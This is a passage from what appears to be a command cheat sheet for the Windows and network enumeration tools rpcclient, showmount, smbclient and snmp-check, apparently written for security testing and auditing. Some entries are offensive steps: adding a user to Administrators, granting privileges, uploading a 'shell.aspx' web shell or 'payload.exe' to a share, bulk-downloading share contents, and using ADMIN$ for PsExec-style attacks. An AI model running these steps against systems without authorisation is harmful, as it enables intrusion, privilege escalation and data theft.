rpcclient -c "deletedomgroup GroupName" 192.168.1.10 ```bash rpcclient -c "deletedomgroup GroupName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "deletedomgroup NewGroup" 192.168.1.10 ``` Deletes a domain group (requires privileges). ## Alias Creation ### rpcclient -c "createalias AliasName" 192.168.1.10 ```bash rpcclient -c "createalias AliasName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "createalias LocalAdmin2" 192.168.1.10 ``` Creates a new alias (local group) on the target. ## Alias Deletion ### rpcclient -c "deletealias AliasName" 192.168.1.10 ```bash rpcclient -c "deletealias AliasName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "deletealias LocalAdmin2" 192.168.1.10 ``` Deletes an alias (local group) from the target. ## Red Team / Alias Member ### rpcclient -c "addaliasmem AliasRID UserSID" 192.168.1.10 ```bash rpcclient -c "addaliasmem AliasRID UserSID" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "addaliasmem 544 S-1-5-21-12345-1001" 192.168.1.10 ``` Adds a user to a local alias group (e.g. adding a user to Administrators). ### rpcclient -c "delaliasmem AliasRID UserSID" 192.168.1.10 ```bash rpcclient -c "delaliasmem AliasRID UserSID" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "delaliasmem 544 S-1-5-21-12345-1001" 192.168.1.10 ``` Removes a user from a local alias group. ## RPC Endpoint Mapper ### rpcclient -c "epmapper" 192.168.1.10 ```bash rpcclient -c "epmapper" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "epmapper" 192.168.1.10 ``` Enumerates endpoints from the Endpoint Mapper (EPM). ## Monitor ### rpcclient -c "enummonitor" 192.168.1.10 ```bash rpcclient -c "enummonitor" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enummonitor" 192.168.1.10 ``` Enumerates print monitors. ## Forms ### rpcclient -c "enumforms" 192.168.1.10 ```bash rpcclient -c "enumforms" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumforms" 192.168.1.10 ``` Enumerates printer forms. ## Service Info ### rpcclient -c "queryservice ServiceName" 192.168.1.10 ```bash rpcclient -c "queryservice ServiceName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "queryservice Spooler" 192.168.1.10 ``` Queries the status and config of a specific service. ## Service Control ### rpcclient -c "stopservice ServiceName" 192.168.1.10 ```bash rpcclient -c "stopservice ServiceName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "stopservice Spooler" 192.168.1.10 ``` Stops a remote service (requires Admin). ### rpcclient -c "startservice ServiceName" 192.168.1.10 ```bash rpcclient -c "startservice ServiceName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "startservice Spooler" 192.168.1.10 ``` Starts a remote service (requires Admin). ## DFS ### rpcclient -c "dfsgetinfo Share" 192.168.1.10 ```bash rpcclient -c "dfsgetinfo Share" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "dfsgetinfo \\server\share" 192.168.1.10 ``` Gets info about a DFS share. ## User Rights ### rpcclient -c "lsaaddacctrights SID Right" 192.168.1.10 ```bash rpcclient -c "lsaaddacctrights SID Right" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "lsaaddacctrights S-1-5-21-1234 SeShutdownPrivilege" 192.168.1.10 ``` Grants a specific privilege/right to a SID. ### rpcclient -c "lsaremoveacctrights SID Right" 192.168.1.10 ```bash rpcclient -c "lsaremoveacctrights SID Right" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "lsaremoveacctrights S-1-5-21-1234 SeShutdownPrivilege" 192.168.1.10 ``` Revokes a specific privilege/right from a SID. ## LSA Enum ### rpcclient -c "lsalookupprivvalue Privilege" 192.168.1.10 ```bash rpcclient -c "lsalookupprivvalue Privilege" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lsalookupprivvalue SeShutdownPrivilege" 192.168.1.10 ``` Looks up the LUID value for a named privilege. ## Registry (WinReg) ### rpcclient -c "enumkey KeyHandle" 192.168.1.10 ```bash rpcclient -c "enumkey KeyHandle" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "enumkey 10" 192.168.1.10 ``` Enumerates registry keys from an open handle (advanced, requires openkey). ## Network Interface ### rpcclient -c "netr_ServerGetInfo" 192.168.1.10 ```bash rpcclient -c "netr_ServerGetInfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "netr_ServerGetInfo" 192.168.1.10 ``` Raw RPC call to get server info (similar to srvinfo but via netr). ## Blue Team Validation ### rpcclient -c "getdompwinfo" 192.168.1.10 ```bash rpcclient -c "getdompwinfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getdompwinfo" 192.168.1.10 ``` Validation: Checks if the password policy is too weak (e.g., no complexity). ### rpcclient -c "enumdomusers" 192.168.1.10 ```bash rpcclient -c "enumdomusers" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumdomusers" 192.168.1.10 ``` Validation: Checks if Null Session allows dumping the entire user list. ## Combined Enumeration ### rpcclient -c "querydominfo; enumdomusers; enumdomgroups" 192.168.1.10 ```bash rpcclient -c "querydominfo; enumdomusers; enumdomgroups" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querydominfo; enumdomusers; enumdomgroups" 192.168.1.10 ``` Runs a rapid triage sequence to get domain info, users, and groups in one go. ## Interactive Shell ### rpcclient -U "user" 192.168.1.10 ```bash rpcclient -U "user" 192.168.1.10 ``` Example: ```bash rpcclient -U "administrator" 192.168.1.10 ``` Drops into the interactive rpcclient shell for manual exploration. ## Printer Driver ### rpcclient -c "getdriver DriverName" 192.168.1.10 ```bash rpcclient -c "getdriver DriverName" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getdriver 'HP LaserJet'" 192.168.1.10 ``` Gets info about a specific printer driver. ## DFS Enum ### rpcclient -c "dfsnumber" 192.168.1.10 ```bash rpcclient -c "dfsnumber" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "dfsnumber" 192.168.1.10 ``` Returns the number of DFS shares available. ## FSRVP (Shadow Copy) ### rpcclient -c "fss_is_path_supported SharePath" 192.168.1.10 ```bash rpcclient -c "fss_is_path_supported SharePath" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "fss_is_path_supported \\server\share" 192.168.1.10 ``` Checks if a share supports Shadow Copy (FSRVP). ## Incident Response ### rpcclient -c "netsessenum; netfileenum" 192.168.1.10 ```bash rpcclient -c "netsessenum; netfileenum" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "netsessenum; netfileenum" 192.168.1.10 ``` Snapshots active sessions and open files to identify suspicious activity. ## Related tools - [enum4linux](https://terminal.rokibulroni.com/tool/enumeration/enum4linux) - [smbclient](https://terminal.rokibulroni.com/tool/enumeration/smbclient) # Tool: showmount > Queries an NFS server’s mount daemon for exported directories and which clients may mount them. - Category: Enumeration - Commands: 20 - Page: https://terminal.rokibulroni.com/tool/enumeration/showmount - Documentation: https://man7.org/linux/man-pages/man8/showmount.8.html - Tags: NFS, file shares ## Install - apt: `sudo apt install nfs-common` ## Basic Export Enumeration ### showmount -e 192.168.1.20 ```bash showmount -e 192.168.1.20 ``` Lists exported NFS directories available on the target IP address. ### showmount --exports 192.168.1.20 ```bash showmount --exports 192.168.1.20 ``` Uses the long-form flag to list exported directories on the target. ## Hostname and DNS Based Enumeration ### showmount -e nfs.example.local ```bash showmount -e nfs.example.local ``` Queries the NFS exports of a target server defined by its hostname. ## Client Access and Permission Enumeration ### showmount -a 192.168.1.20 ```bash showmount -a 192.168.1.20 ``` Lists all active mount points in the format host:directory. ## Listing Mounted Clients ### showmount --all 192.168.1.20 ```bash showmount --all 192.168.1.20 ``` Uses the long-form flag to display both client IP and mounted directory. ## Listing Exported Directories ### showmount -d 192.168.1.20 ```bash showmount -d 192.168.1.20 ``` Lists only the directories that are currently mounted by some client. ### showmount --directories 192.168.1.20 ```bash showmount --directories 192.168.1.20 ``` Uses the long-form flag to list currently mounted directories without client IPs. ## NFS Server Status Queries ### showmount 192.168.1.20 ```bash showmount 192.168.1.20 ``` Runs with default behavior (typically equivalent to -a or list clients) against the target. ## Local Host Enumeration ### showmount -e localhost ```bash showmount -e localhost ``` Checks the local machine for its own NFS exports. ## General Tool Information ### showmount --help ```bash showmount --help ``` Displays the help message summarizing usage and flags. ### showmount --version ```bash showmount --version ``` Outputs the version information of the installed showmount tool. ## IPv6 Target Enumeration ### showmount -e 2001:db8::1 ```bash showmount -e 2001:db8::1 ``` Queries NFS exports from a target specified by an IPv6 address. ## Red Team Initial Unix Reconnaissance ### showmount -e 10.10.10.15 ```bash showmount -e 10.10.10.15 ``` Identifies potential entry points by listing accessible file shares on a specific target. ## Blue Team Exposure Validation ### showmount -e internal-nfs ```bash showmount -e internal-nfs ``` Verifies that sensitive exports are not inadvertently exposed to the internal network. ## Incident Response and Assessment ### showmount -a 10.10.10.15 ```bash showmount -a 10.10.10.15 ``` Reveals which IP addresses are currently connected to the compromised NFS server. ## Quiet and Script Friendly Output ### showmount --no-headers -e 192.168.1.20 ```bash showmount --no-headers -e 192.168.1.20 ``` Suppresses header lines for easier parsing in scripts (if supported by version). ## Advanced Combined Enumeration ### showmount -a nfs-primary.corp ```bash showmount -a nfs-primary.corp ``` Maps the full relationship of clients to mounts on the primary corporate NFS server. ## Specific Directory Discovery ### showmount -d backup-server ```bash showmount -d backup-server ``` Checks specifically for directories actively in use on the backup server. ## Export Information with Hostnames ### showmount -e db-server.local ```bash showmount -e db-server.local ``` Retrieves the export list to determine allowed host subnets or wildcards. ## All Hosts Export Visibility ### showmount -a localhost ```bash showmount -a localhost ``` Audits the local system to see all incoming NFS connections from the network. ## Related tools - [NFS enumeration](https://terminal.rokibulroni.com/tool/enumeration/nfs-showmount) # Tool: smbclient > An FTP-like client for SMB/CIFS shares: list shares, browse, upload and download files, with or without credentials. - Category: Enumeration - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/enumeration/smbclient - Homepage: https://www.samba.org - Documentation: https://www.samba.org/samba/docs/current/man-html/smbclient.1.html - Tags: SMB, file shares ## Install - apt: `sudo apt install smbclient` - brew: `brew install samba` ## Share Enumeration ### smbclient -L //192.168.1.10 -N ```bash smbclient -L //192.168.1.10 -N ``` Lists available shares on the target using a null session (no authentication). ### smbclient -L //192.168.1.10 -U guest% ```bash smbclient -L //192.168.1.10 -U guest% ``` Lists shares using the guest account with a blank password. ### smbclient -L //192.168.1.10 -U username ```bash smbclient -L //192.168.1.10 -U username ``` Example: ```bash smbclient -L //192.168.1.10 -U administrator ``` Lists shares prompting for a password for the specified user. ## Basic Connection ### smbclient //192.168.1.10/share -N ```bash smbclient //192.168.1.10/share -N ``` Example: ```bash smbclient //192.168.1.10/public -N ``` Connects to a specific share using a null session. ### smbclient //192.168.1.10/share -U username%password ```bash smbclient //192.168.1.10/share -U username%password ``` Example: ```bash smbclient //192.168.1.10/c$ -U admin%SecurePass123 ``` Connects to a share providing both username and password inline. ## Domain Authentication ### smbclient //dc.example.local/share -W DOMAIN -U user ```bash smbclient //dc.example.local/share -W DOMAIN -U user ``` Example: ```bash smbclient //192.168.1.5/files -W CORP -U john.doe ``` Connects to a share authenticating against a specific Windows domain or workgroup. ## Authentication ### smbclient //192.168.1.10/share -A authfile.txt ```bash smbclient //192.168.1.10/share -A authfile.txt ``` Example: ```bash smbclient //192.168.1.10/finance -A creds.txt ``` Uses a file containing username, password, and domain for authentication to avoid CLI logging. ## Kerberos Authentication ### smbclient -k //dc.example.local/share ```bash smbclient -k //dc.example.local/share ``` Example: ```bash smbclient -k //fileserver.corp.local/data ``` Connects using an existing Kerberos ticket (ccache) instead of a password. ### smbclient -k -L //dc.example.local ```bash smbclient -k -L //dc.example.local ``` Example: ```bash smbclient -k -L //dc.corp.local ``` Lists shares using Kerberos authentication. ## Connection Options ### smbclient //192.168.1.10/share -p 445 ```bash smbclient //192.168.1.10/share -p 445 ``` Forces the connection to use TCP port 445 explicitly. ### smbclient //192.168.1.10/share -p 139 ```bash smbclient //192.168.1.10/share -p 139 ``` Forces the connection to use NetBIOS over TCP port 139. ## Target Specification ### smbclient //hostname/share -I 192.168.1.10 ```bash smbclient //hostname/share -I 192.168.1.10 ``` Example: ```bash smbclient //fileserver/docs -I 192.168.1.50 -U user ``` Connects to a hostname but overrides the destination IP address (useful for DNS spoofing/testing). ## NetBIOS ### smbclient //192.168.1.10/share -n NETBIOS_NAME ```bash smbclient //192.168.1.10/share -n NETBIOS_NAME ``` Example: ```bash smbclient //192.168.1.10/share -n KALI_BOX -U user ``` Sets the NetBIOS name of the client source machine during the handshake. ## Protocol Selection ### smbclient //192.168.1.10/share -m SMB2 ```bash smbclient //192.168.1.10/share -m SMB2 ``` Example: ```bash smbclient //192.168.1.10/legacy -m SMB2 -U user ``` Forces the client to use the SMB2 protocol version max. ### smbclient //192.168.1.10/share -m SMB3 ```bash smbclient //192.168.1.10/share -m SMB3 ``` Example: ```bash smbclient //192.168.1.10/secure -m SMB3 -U user ``` Forces the client to use the SMB3 protocol version max (often required for newer Windows). ### smbclient //192.168.1.10/share -m NT1 ```bash smbclient //192.168.1.10/share -m NT1 ``` Example: ```bash smbclient //192.168.1.10/ancient -m NT1 -U user ``` Forces the use of NT1 (SMB1), useful for targeting legacy Windows XP or Server 2003 systems. ## Interactive Mode ### smbclient //192.168.1.10/share ```bash smbclient //192.168.1.10/share ``` Example: ```bash smbclient //192.168.1.10/share -U user ``` Starts an interactive shell session where you can type commands like ls, get, and put. ## Command Execution ### smbclient //192.168.1.10/share -c 'ls' ```bash smbclient //192.168.1.10/share -c 'ls' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'ls' ``` Connects, lists the files in the root directory, and disconnects immediately. ## File Retrieval ### smbclient //192.168.1.10/share -c 'get sensitive.docx' ```bash smbclient //192.168.1.10/share -c 'get sensitive.docx' ``` Example: ```bash smbclient //192.168.1.10/hr -U user -c 'get payroll.xls' ``` Connects and downloads a specific single file non-interactively. ## File Upload ### smbclient //192.168.1.10/share -c 'put payload.exe' ```bash smbclient //192.168.1.10/share -c 'put payload.exe' ``` Example: ```bash smbclient //192.168.1.10/wwwroot -U user -c 'put shell.aspx' ``` Connects and uploads a file to the remote share. ## Directory Management ### smbclient //192.168.1.10/share -c 'mkdir tempdir' ```bash smbclient //192.168.1.10/share -c 'mkdir tempdir' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'mkdir hidden' ``` Creates a new directory on the remote share. ## Recursive Operations ### smbclient //192.168.1.10/share -c 'recurse; ls' ```bash smbclient //192.168.1.10/share -c 'recurse; ls' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'recurse; ls' ``` Toggles recursion to ON and lists all files in the share including subdirectories. ## Recursive Download ### smbclient //192.168.1.10/share -c 'prompt OFF; recurse ON; mget *' ```bash smbclient //192.168.1.10/share -c 'prompt OFF; recurse ON; mget *' ``` Example: ```bash smbclient //192.168.1.10/backup -U user -c 'prompt OFF; recurse ON; mget *' ``` Downloads the entire contents of a share recursively without asking for confirmation per file. ## File Deletion ### smbclient //192.168.1.10/share -c 'del oldfile.txt' ```bash smbclient //192.168.1.10/share -c 'del oldfile.txt' ``` Example: ```bash smbclient //192.168.1.10/logs -U user -c 'del error.log' ``` Deletes a specific file from the remote share. ### smbclient //192.168.1.10/share -c 'rmdir old_folder' ```bash smbclient //192.168.1.10/share -c 'rmdir old_folder' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'rmdir temp' ``` Removes an empty directory from the remote share. ## File Reading ### smbclient //192.168.1.10/share -c 'more readme.txt' ```bash smbclient //192.168.1.10/share -c 'more readme.txt' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'more config.ini' ``` Displays the contents of a remote file directly to stdout. ## Archive Operations ### smbclient //192.168.1.10/share -T c backup.tar * ```bash smbclient //192.168.1.10/share -T c backup.tar * ``` Example: ```bash smbclient //192.168.1.10/docs -U user -T c docs_backup.tar * ``` Creates a local TAR archive of all files on the remote share directly. ### smbclient //192.168.1.10/share -T x restore.tar ```bash smbclient //192.168.1.10/share -T x restore.tar ``` Example: ```bash smbclient //192.168.1.10/docs -U user -T x local_backup.tar ``` Extracts a local TAR archive and uploads the files to the remote share. ## Debug & Logging ### smbclient //192.168.1.10/share -d 5 ```bash smbclient //192.168.1.10/share -d 5 ``` Example: ```bash smbclient //192.168.1.10/share -U user -d 5 ``` Increases the debug level to 5, showing detailed protocol handshake and error information. ## Connection Control ### smbclient //192.168.1.10/share -t 60 ```bash smbclient //192.168.1.10/share -t 60 ``` Example: ```bash smbclient //192.168.1.10/large_share -U user -t 120 ``` Sets the connection timeout in seconds (useful for slow links or large transfers). ## Misc Options ### smbclient //192.168.1.10/share -g ```bash smbclient //192.168.1.10/share -g ``` Example: ```bash smbclient -L //192.168.1.10 -U user -g ``` Uses grepable output format, useful for parsing results in scripts. ## Messaging ### smbclient -M NETBIOS_NAME ```bash smbclient -M NETBIOS_NAME ``` Example: ```bash smbclient -M WIN10-TARGET -U user ``` Sends a WinPopup message to the target machine (requires Messenger service). ## IPv6 Connection ### smbclient //ipv6-address/share -U user ```bash smbclient //ipv6-address/share -U user ``` Example: ```bash smbclient //2001:db8::1/share -U user ``` Connects to an SMB share hosted on an IPv6 address. ## System Info ### smbclient //192.168.1.10/IPC$ -c 'q' ```bash smbclient //192.168.1.10/IPC$ -c 'q' ``` Example: ```bash smbclient //192.168.1.10/IPC$ -N -c 'q' ``` Connects to IPC$ (Inter-Process Communication) merely to validate access rights or null session capability. ## Permissions ### smbclient //192.168.1.10/share -c 'getfacl filename' ```bash smbclient //192.168.1.10/share -c 'getfacl filename' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'getfacl confidential.txt' ``` Displays the Access Control List (ACL) and permissions for a specific file (if server supports UNIX extensions). ### smbclient //192.168.1.10/share -c 'stat filename' ```bash smbclient //192.168.1.10/share -c 'stat filename' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'stat report.pdf' ``` Shows file attributes, timestamps, and size information. ## File Operations ### smbclient //192.168.1.10/share -c 'rename old new' ```bash smbclient //192.168.1.10/share -c 'rename old new' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'rename draft.txt final.txt' ``` Renames a file on the remote server. ## Advanced Config ### smbclient //192.168.1.10/share -O 'socket options' ```bash smbclient //192.168.1.10/share -O 'socket options' ``` Example: ```bash smbclient //192.168.1.10/share -U user -O 'TCP_NODELAY SO_KEEPALIVE' ``` Sets TCP socket options for performance tuning or stability. ## Scripting ### smbclient //192.168.1.10/share -E ```bash smbclient //192.168.1.10/share -E ``` Example: ```bash smbclient //192.168.1.10/share -U user -E -c 'ls' ``` Writes messages to stderr instead of stdout, keeping stdout clean for data piping. ## Directory Navigation ### smbclient //192.168.1.10/share -D directory ```bash smbclient //192.168.1.10/share -D directory ``` Example: ```bash smbclient //192.168.1.10/share -U user -D 'Documents/Finance' ``` Starts the session directly inside a specific subdirectory within the share. ## IO Control ### smbclient //192.168.1.10/share -b size ```bash smbclient //192.168.1.10/share -b size ``` Example: ```bash smbclient //192.168.1.10/share -U user -b 16384 ``` Changes the transmit/send buffer size (useful for performance tuning on specific networks). ## Config File ### smbclient -s /etc/samba/smb.conf ```bash smbclient -s /etc/samba/smb.conf ``` Example: ```bash smbclient -L //192.168.1.10 -s ./local-smb.conf ``` Uses a specific local Samba configuration file instead of the default. ## Interactive ### smbclient //192.168.1.10/share -c 'history' ```bash smbclient //192.168.1.10/share -c 'history' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'history' ``` Displays the command history within the smbclient context (mostly useful in interactive mode). ## File Integrity ### smbclient //192.168.1.10/share -c 'md5 filename' ```bash smbclient //192.168.1.10/share -c 'md5 filename' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'md5 image.iso' ``` Calculates MD5 hash of a remote file (if supported by server/client extensions). ## Red Team ### smbclient //192.168.1.10/C$ -U user ```bash smbclient //192.168.1.10/C$ -U user ``` Example: ```bash smbclient //192.168.1.10/C$ -U Administrator%Password ``` Connects to the administrative C$ share, typically allowing full filesystem access. ### smbclient //192.168.1.10/ADMIN$ -U user ```bash smbclient //192.168.1.10/ADMIN$ -U user ``` Example: ```bash smbclient //192.168.1.10/ADMIN$ -U Administrator ``` Connects to the ADMIN$ share, often used for remote execution and PsExec-style attacks. ## Path parsing ### smbclient \\192.168.1.10\share -U user ```bash smbclient \\192.168.1.10\share -U user ``` Connects using Windows-style backslashes (must be escaped in shell). ## Quiet Mode ### smbclient //192.168.1.10/share -q ```bash smbclient //192.168.1.10/share -q ``` Example: ```bash smbclient //192.168.1.10/share -U user -q ``` Suppresses informational messages, useful for scripts expecting clean output. ## Advanced ### smbclient //192.168.1.10/share -c 'posix' ```bash smbclient //192.168.1.10/share -c 'posix' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'posix' ``` Turns on POSIX path handling to allow case-sensitive filenames if server supports it. ### smbclient //192.168.1.10/share -c 'case_sensitive' ```bash smbclient //192.168.1.10/share -c 'case_sensitive' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'case_sensitive' ``` Toggles case sensitivity for file matching. ## Printing ### smbclient //192.168.1.10/print$ -c 'print file.pdf' ```bash smbclient //192.168.1.10/print$ -c 'print file.pdf' ``` Example: ```bash smbclient //192.168.1.10/print$ -U user -c 'print document.pdf' ``` Uploads and queues a file to be printed on a remote printer share. ## Offline ### smbclient //192.168.1.10/share -c 'logon' ```bash smbclient //192.168.1.10/share -c 'logon' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'logon' ``` Establishes a new logon context (re-authenticates) within the session. ## Resolve Order ### smbclient //hostname/share -R lmhosts ```bash smbclient //hostname/share -R lmhosts ``` Example: ```bash smbclient //server/share -R wins -U user ``` Sets the name resolution order (e.g., lmhosts, host, wins, bcast). ## Encryption ### smbclient -e //192.168.1.10/share ```bash smbclient -e //192.168.1.10/share ``` Example: ```bash smbclient -e //192.168.1.10/private -U user ``` Forces SMB encryption (SMB3) for the connection, protecting data on the wire. ## Advanced ### smbclient //192.168.1.10/share -c 'l' ```bash smbclient //192.168.1.10/share -c 'l' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'l' ``` Alternative command for 'ls' (list) inside the interactive shell. ## File Ops ### smbclient //192.168.1.10/share -c 'du' ```bash smbclient //192.168.1.10/share -c 'du' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'du' ``` Displays disk usage for the current share. ## Batch ### echo 'ls' | smbclient //192.168.1.10/share ```bash echo 'ls' | smbclient //192.168.1.10/share ``` Example: ```bash echo 'ls' | smbclient //192.168.1.10/share -N ``` Pipes commands directly into smbclient from stdin (alternative to -c). ## Enumeration ### smbclient -L 192.168.1.10 -I 192.168.1.10 ```bash smbclient -L 192.168.1.10 -I 192.168.1.10 ``` Example: ```bash smbclient -L 192.168.1.10 -I 192.168.1.10 -N ``` Enumerates shares when the NetBIOS name is unknown or identical to IP. ## Interactive ### smbclient //192.168.1.10/share -c 'volume' ```bash smbclient //192.168.1.10/share -c 'volume' ``` Example: ```bash smbclient //192.168.1.10/share -U user -c 'volume' ``` Prints the volume serial number of the remote share. ## Archive ### smbclient //192.168.1.10/share -D folder -T c archive.tar ```bash smbclient //192.168.1.10/share -D folder -T c archive.tar ``` Example: ```bash smbclient //192.168.1.10/share -U user -D 'sub/folder' -T c backup.tar ``` Changes directory to a subfolder first, then creates a tar archive of its contents. ## Related tools - [rpcclient](https://terminal.rokibulroni.com/tool/enumeration/rpcclient) - [enum4linux](https://terminal.rokibulroni.com/tool/enumeration/enum4linux) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) # Tool: snmp-check > Enumerates SNMP devices and prints a readable report of system info, network interfaces, routes, processes and installed software. - Category: Enumeration - Commands: 32 - Page: https://terminal.rokibulroni.com/tool/enumeration/snmpcheck - Homepage: https://www.nothink.org/codes/snmpcheck/ - Tags: SNMP, enumeration ## Install - apt: `sudo apt install snmpcheck` ## Basic SNMP Enumeration ### snmpcheck -h ```bash snmpcheck -h ``` Displays the help menu listing all available command line options and syntax usage. ### snmpcheck -t 192.168.1.1 ```bash snmpcheck -t 192.168.1.1 ``` Performs a standard automated SNMP enumeration against the target IP using default settings. ## Target and Transport Specification ### snmpcheck -t router.example.local ```bash snmpcheck -t router.example.local ``` Initiates an enumeration scan against a target specified by its hostname instead of IP address. ## Community String Based Enumeration ### snmpcheck -t 192.168.1.1 -c public ```bash snmpcheck -t 192.168.1.1 -c public ``` Explicitly defines the community string 'public' to authenticate the SNMP session. ### snmpcheck -t 192.168.1.1 -c private ```bash snmpcheck -t 192.168.1.1 -c private ``` Uses the common read-write community string 'private' to attempt deeper enumeration. ### snmpcheck -t 10.0.0.5 -c manager ```bash snmpcheck -t 10.0.0.5 -c manager ``` Attempts enumeration using an alternative administrative community string 'manager'. ## Target and Transport Specification ### snmpcheck -t 192.168.1.1 -p 161 ```bash snmpcheck -t 192.168.1.1 -p 161 ``` Manually specifies the standard UDP port 161 for the SNMP connection. ### snmpcheck -t 192.168.1.1 -p 1161 ```bash snmpcheck -t 192.168.1.1 -p 1161 ``` Directs the scan to a non-standard SNMP port, often used on security hardened devices. ## SNMP Version Selection ### snmpcheck -t 192.168.1.1 -v 1 ```bash snmpcheck -t 192.168.1.1 -v 1 ``` Forces the tool to use legacy SNMP Version 1 for the enumeration process. ### snmpcheck -t 192.168.1.1 -v 2c ```bash snmpcheck -t 192.168.1.1 -v 2c ``` Uses SNMP Version 2c, which allows for retrieving larger data counters and bulk transfers. ## System Information Enumeration ### snmpcheck -t 192.168.1.10 -c public ```bash snmpcheck -t 192.168.1.10 -c public ``` Retrieves system description, uptime, contact info, and hostname from the target. ## Network Interface Enumeration ### snmpcheck -t 10.10.10.1 -v 2c ```bash snmpcheck -t 10.10.10.1 -v 2c ``` Enumerates network interfaces, IP addresses, and MAC addresses using version 2c for better accuracy. ## Red Team Network Reconnaissance ### snmpcheck -t 192.168.1.1 -w ```bash snmpcheck -t 192.168.1.1 -w ``` Enables write-access detection to identify if the community string allows modifying device configuration. ### snmpcheck -t 192.168.1.1 -c public -w ```bash snmpcheck -t 192.168.1.1 -c public -w ``` Checks for write permissions specifically using the 'public' community string. ## Rate and Performance Control ### snmpcheck -t 192.168.1.1 -d ```bash snmpcheck -t 192.168.1.1 -d ``` Disables TCP connection enumeration to speed up the scan and reduce network noise. ## Routing and ARP Table Enumeration ### snmpcheck -t 172.16.0.1 -d ```bash snmpcheck -t 172.16.0.1 -d ``` Focuses on retrieving routing and ARP tables quickly by skipping the TCP connection checks. ## Timeout and Retry Configuration ### snmpcheck -t 192.168.1.1 -T 10 ```bash snmpcheck -t 192.168.1.1 -T 10 ``` Increases the response timeout to 10 seconds for slow or congested network links. ### snmpcheck -t 192.168.1.1 -r 5 ```bash snmpcheck -t 192.168.1.1 -r 5 ``` Sets the retry count to 5 to handle packet loss on unreliable networks. ## Service and Process Enumeration ### snmpcheck -t 10.0.0.50 -v 2c ```bash snmpcheck -t 10.0.0.50 -v 2c ``` Enumerates running processes and installed software services using the more efficient version 2c. ## User and Group Enumeration ### snmpcheck -t 192.168.1.5 -c public ```bash snmpcheck -t 192.168.1.5 -c public ``` Extracts the list of system user accounts if exposed by the target's SNMP agent. ## Device and OS Fingerprinting ### snmpcheck -t 192.168.1.254 -v 1 ```bash snmpcheck -t 192.168.1.254 -v 1 ``` Queries the system description OID to identify the specific OS version and hardware model. ## IPv4 and IPv6 Targets ### snmpcheck -t 2001:db8::1 ```bash snmpcheck -t 2001:db8::1 ``` Performs SNMP enumeration against an IPv6 address (requires host system IPv6 support). ## Network Infrastructure Enumeration ### snmpcheck -t core-switch.local -c cisco ```bash snmpcheck -t core-switch.local -c cisco ``` Targets a network infrastructure device using a vendor-specific community string. ## Quiet and Script Friendly Output ### snmpcheck -t 192.168.1.1 -d -T 2 ```bash snmpcheck -t 192.168.1.1 -d -T 2 ``` Runs a fast, minimal-noise scan suitable for quick scripting checks by disabling TCP checks and lowering timeout. ## Verbose and Debug Modes ### snmpcheck -t 192.168.1.1 -v 2c -r 0 ```bash snmpcheck -t 192.168.1.1 -v 2c -r 0 ``` Runs a scan with no retries to immediately identify connectivity issues, relying on full standard output for details. ## Blue Team Asset Inventory and Monitoring ### snmpcheck -t 192.168.10.5 -c monitor -v 2c ```bash snmpcheck -t 192.168.10.5 -c monitor -v 2c ``` Uses a dedicated monitoring community string to validate asset visibility and inventory data. ## Incident Response and Audit Scenarios ### snmpcheck -t 10.1.1.100 -w -v 2c ```bash snmpcheck -t 10.1.1.100 -w -v 2c ``` audits a specific host for dangerous write permissions during a security incident investigation. ## Advanced and Combined Real World Checks ### snmpcheck -t 192.168.1.1 -c secret -p 161 -w ```bash snmpcheck -t 192.168.1.1 -c secret -p 161 -w ``` Combines custom community, explicit port, and write access checks for a thorough security audit. ### snmpcheck -t 192.168.1.1 -v 2c -w -d ```bash snmpcheck -t 192.168.1.1 -v 2c -w -d ``` A comprehensive scan using version 2c and write detection, while skipping TCP checks for efficiency. ### snmpcheck -t 10.0.0.1 -T 15 -r 3 -v 2c ```bash snmpcheck -t 10.0.0.1 -T 15 -r 3 -v 2c ``` Performs a robust scan over a high-latency connection by increasing timeouts and retries significantly. ## Output Formatting and Display Control ### snmpcheck -t 192.168.1.1 -c public -d ```bash snmpcheck -t 192.168.1.1 -c public -d ``` Produces cleaner output by suppressing TCP connection timeout errors often seen on firewalled hosts. ## Advanced and Combined Real World Checks ### snmpcheck -t 192.168.1.1 -c public -v 2c -w -d 